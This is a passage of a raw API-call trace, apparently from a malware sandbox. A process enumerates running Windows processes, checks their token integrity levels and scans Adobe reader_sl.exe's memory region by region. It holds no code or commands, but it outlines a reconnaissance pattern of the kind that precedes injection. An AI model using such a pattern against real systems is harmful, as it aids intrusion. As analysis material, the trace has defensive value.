(in: ProcessHandle=0x1ac, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.704] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.705] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.705] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xa3cad9 [0150.705] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xa3cae0 [0150.705] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.705] NtClose (Handle=0x1c0) returned 0x0 [0150.718] QueryFullProcessImageNameW (in: hProcess=0x19c, dwFlags=0x0, lpExeName=0x9fd0b8, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\explorer.exe", lpdwSize=0x1a7f9d8) returned 1 [0150.718] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x9fd0b8) returned 1 [0150.718] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.718] IsWow64Process (in: hProcess=0x19c, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.718] NtQueryInformationProcess (in: ProcessHandle=0x19c, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.718] GetProcessTimes (in: hProcess=0x19c, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.718] OpenProcessToken (in: ProcessHandle=0x19c, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.718] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.718] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.718] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xa3cad9 [0150.718] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xa3cae0 [0150.718] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.718] NtClose (Handle=0x1c0) returned 0x0 [0150.877] QueryFullProcessImageNameW (in: hProcess=0x1b4, dwFlags=0x0, lpExeName=0xa7f438, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\dwm.exe", lpdwSize=0x1a7f9d8) returned 1 [0150.877] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa7f438) returned 1 [0150.877] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.877] IsWow64Process (in: hProcess=0x1b4, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.877] NtQueryInformationProcess (in: ProcessHandle=0x1b4, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.877] GetProcessTimes (in: hProcess=0x1b4, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.877] OpenProcessToken (in: ProcessHandle=0x1b4, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.877] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.877] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.877] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xa3cad9 [0150.877] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xa3cae0 [0150.877] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.877] NtClose (Handle=0x1c0) returned 0x0 [0150.915] QueryFullProcessImageNameW (in: hProcess=0x1b8, dwFlags=0x0, lpExeName=0x1c7efc8, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\taskhost.exe", lpdwSize=0x1a7f9d8) returned 1 [0150.915] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1c7efc8) returned 1 [0150.915] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.915] IsWow64Process (in: hProcess=0x1b8, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.915] NtQueryInformationProcess (in: ProcessHandle=0x1b8, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.915] GetProcessTimes (in: hProcess=0x1b8, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.915] OpenProcessToken (in: ProcessHandle=0x1b8, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.915] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.915] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.915] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xa3cad9 [0150.915] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xa3cae0 [0150.915] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.915] NtClose (Handle=0x1c0) returned 0x0 [0150.938] QueryFullProcessImageNameW (in: hProcess=0x1a4, dwFlags=0x0, lpExeName=0xa32d30, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\reader_sl.exe", lpdwSize=0x1a7f9d8) returned 1 [0150.938] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa32d30) returned 1 [0150.938] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0150.938] IsWow64Process (in: hProcess=0x1a4, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0150.938] NtQueryInformationProcess (in: ProcessHandle=0x1a4, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0150.938] GetProcessTimes (in: hProcess=0x1a4, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0150.938] OpenProcessToken (in: ProcessHandle=0x1a4, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0150.938] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0150.938] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0150.938] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xa3cad9 [0150.939] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xa3cae0 [0150.939] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0150.939] NtClose (Handle=0x1c0) returned 0x0 [0150.939] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.939] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.939] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x20000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x20000, AllocationBase=0x20000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.939] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x21000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x21000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.939] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.939] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x31000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x31000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.939] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x40000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x40000, AllocationBase=0x40000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x50000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x39000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x89000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x89000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x8b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x8b000, AllocationBase=0x50000, AllocationProtect=0x4, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x90000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x90000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xf5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x185000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x185000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x186000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x186000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x190000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x190000, AllocationBase=0x190000, AllocationProtect=0x2, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x194000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x194000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xc000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.940] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1a0000, AllocationBase=0x1a0000, AllocationProtect=0x2, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1a1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1a1000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xf000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1b0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1b0000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x39000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1e9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1e9000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1ec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1ec000, AllocationBase=0x1b0000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x1f0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1f0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x200000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x200000, AllocationBase=0x200000, AllocationProtect=0x4, RegionSize=0x6000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x206000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x206000, AllocationBase=0x200000, AllocationProtect=0x4, RegionSize=0x7a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x280000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x280000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x39000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x2b9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2b9000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x2bc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2bc000, AllocationBase=0x280000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x2c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2c0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x2d0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2d0000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0x1c000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x2ec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2ec000, AllocationBase=0x2d0000, AllocationProtect=0x4, RegionSize=0xe4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.941] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x3d0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x3d0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x30000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.942] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x400000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.942] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x405000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x405000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x3000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.942] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x408000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x408000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.942] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x409000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x409000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000), ResultLength=0x0) returned 0x0 [0150.942] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x40a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x40a000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x6000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.942] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x410000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x410000, AllocationBase=0x410000, AllocationProtect=0x2, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x4c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4c0000, AllocationBase=0x4c0000, AllocationProtect=0x4, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x4ce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4ce000, AllocationBase=0x4c0000, AllocationProtect=0x4, RegionSize=0x32000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x500000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x500000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x50000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x550000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x550000, AllocationBase=0x550000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x553000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x553000, AllocationBase=0x550000, AllocationProtect=0x4, RegionSize=0xd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x560000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x560000, AllocationBase=0x560000, AllocationProtect=0x2, RegionSize=0x2000, State=0x1000, Protect=0x2, Type=0x40000), ResultLength=0x0) returned 0x0 [0150.943] NtQueryVirtualMemory (in: ProcessHandle=0x1a4, Address=0x562000, 